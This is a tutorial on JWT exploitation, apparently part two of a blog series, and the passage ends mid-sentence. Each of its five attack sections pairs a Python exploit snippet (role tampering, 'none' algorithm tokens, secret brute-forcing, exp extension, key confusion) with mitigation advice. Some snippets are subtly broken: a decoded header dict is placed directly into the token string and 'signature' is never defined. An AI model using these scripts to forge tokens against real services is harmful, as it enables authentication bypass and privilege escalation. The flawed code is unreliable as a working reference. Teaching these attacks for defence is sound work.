JWT Exploitation
Table of Contents
Introduction #
- In the first part of this series, we laid the groundwork by thoroughly understanding the structure and operation of JSON Web Tokens (JWTs).
- Now that we have a solid foundation, it’s time to explore the darker side of JWTs—the vulnerabilities and potential exploits that can arise from improper implementation or misconfiguration.
- In this second part, we’ll dive deep into advanced JWT exploitation techniques, providing technical insights and practical examples to illustrate how these attacks work.
- Finally, we’ll discuss strategies to secure your JWT implementations against these threats.
Common JWT Vulnerabilities #
1. JWT Token Manipulation #
Overview: JWT token manipulation involves altering the contents of a JWT to exploit flaws in how the server processes the token. If the server fails to validate the JWT’s signature properly, an attacker can modify the payload to escalate privileges or inject malicious data.
Example Scenario: Suppose a JWT contains a role claim that indicates the user’s role in the system:
{
"sub": "1234567890",
"name": "John Doe",
"role": "user",
"iat": 1516239022
}
An attacker might modify the role claim to elevate privileges by changing it from user to admin.
Exploit:
import base64
import json
def decode_jwt(token):
header, payload, signature = token.split('.')
decoded_header = base64.urlsafe_b64decode(header + '==').decode('utf-8')
decoded_payload = base64.urlsafe_b64decode(payload + '==').decode('utf-8')
return json.loads(decoded_header), json.loads(decoded_payload)
# Original JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode and modify payload
header, payload = decode_jwt(jwt_token)
payload['role'] = 'admin'
# Re-encode the payload (no signature change)
modified_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
modified_jwt = f"{header}.{modified_payload}.{signature}"
print(modified_jwt)
Mitigation:
- Always validate JWT signatures on the server-side using the appropriate secret key.
- Reject any tokens that fail signature validation.
- Use a secure algorithm for signing tokens and enforce its use.
2. Exploiting the None
Algorithm #
Overview: The None algorithm exploit leverages a critical misconfiguration in JWT libraries where the alg (algorithm) field in the JWT header can be set to none. If the server does not enforce algorithm validation, this can allow attackers to bypass signature verification entirely.
Example Scenario: An attacker modifies the JWT header to specify alg: none, effectively removing the need for a signature. If the server does not properly handle this case, the token can be accepted as valid.
Exploit:
import base64
import json
# Craft a JWT with 'none' algorithm
header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).decode().rstrip('=')
payload = base64.urlsafe_b64encode(json.dumps({"sub": "1234567890", "name": "John Doe", "admin": True}).encode()).decode().rstrip('=')
# No signature
jwt_none_algo = f"{header}.{payload}."
print(jwt_none_algo)
Mitigation:
- Ensure that your JWT library does not accept the none algorithm.
- Enforce strict algorithm validation in your JWT implementation to prevent such exploits.
3. Brute-Forcing the Secret Key #
Overview: JWTs signed with weak secret keys are vulnerable to brute-force attacks. Attackers can systematically guess the secret key until a valid one is found, allowing them to forge a valid JWT.
Example Scenario: If the signing secret is weak (e.g., 1234), an attacker can easily brute-force the key and generate their own valid tokens.
Exploit:
import jwt
import itertools
import string
# Target JWT
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Brute-force attack to find the secret key
def brute_force_jwt(token):
chars = string.ascii_letters + string.digits
for secret in itertools.product(chars, repeat=4): # Brute-forcing 4-char secrets
secret = ''.join(secret)
try:
decoded = jwt.decode(token, secret, algorithms=["HS256"])
print(f"Secret found: {secret}")
return decoded
except jwt.InvalidSignatureError:
continue
brute_force_jwt(token)
Mitigation:
- Use strong, complex, and long secret keys.
- Implement rate limiting and account lockout mechanisms to deter brute-force attempts.
4. Exploiting Weak JWT Expiration Handling #
Overview: JWTs often include an exp (expiration) claim that limits their validity. However, improper handling of this claim can lead to tokens being accepted long after they should have expired.
Example Scenario: An attacker modifies the exp field in the payload to extend the token’s validity, allowing unauthorized access.
Exploit:
# Modify the JWT expiration time
header, payload = decode_jwt(jwt_token)
payload['exp'] = 9999999999 # Extend expiration to a far future date
# Re-encode the payload (no signature change)
modified_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
modified_jwt = f"{header}.{modified_payload}.{signature}"
print(modified_jwt)
Mitigation:
- Always validate the exp claim on the server-side.
- Use short-lived tokens and implement refresh tokens to reduce the risk of long-term token exposure.
- Ensure that your application properly checks for token expiration and other relevant claims.
5. Key Confusion Attack #
Overview: Key confusion attacks exploit the use of asymmetric algorithms (e.g., RS256) by tricking the server into treating the public key as a symmetric key. This allows an attacker to forge tokens that the server incorrectly treats as valid.
Example Scenario: In an RS256-based system, an attacker could use the public key as the secret in an HS256-signed JWT, tricking the server into accepting the token as valid.
Exploit:
import jwt
# Public key used as secret (forged token)
public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApXTOFIr7+..."
token = jwt.encode({"admin": True}, public_key, algorithm="HS256")
print(token)
Mitigation:
- Ensure proper key handling by clearly distinguishing between symmetric and asymmetric keys.
- Use JWT libraries that enforce correct cryptographic practices and prevent key confusion.
- Regularly audit your JWT implementation to ensure it adheres to best security practices.
Advanced JWT Security Best Practices #
To defend against the vulnerabilities discussed above and others that might arise, consider the following advanced security best practices:
- Use Strong Cryptographic Algorithms
- Always use strong and widely accepted cryptographic algorithms for signing JWTs. Prefer asymmetric algorithms (e.g., RS256) over symmetric ones (e.g., HS256), especially for scenarios requiring high security.
- Implement Token Revocation Mechanisms
- JWTs are stateless, meaning that once issued, they are valid until they expire. Implement token revocation mechanisms, such as maintaining a blacklist of revoked tokens, to invalidate tokens if necessary.
- Use Short-Lived Tokens and Refresh Tokens
- Minimize the window of opportunity for an attacker by using short-lived tokens with a refresh token mechanism. This approach limits the impact of a compromised JWT.
- Validate All Claims
- Always validate all claims within the JWT, including exp, iss, aud, and any custom claims. Ensure that the claims meet the expected values and reject tokens with invalid claims.
- Monitor and Log JWT Usage
- Implement logging and monitoring for JWT usage within your application. This includes logging failed token verifications, monitoring for suspicious patterns, and implementing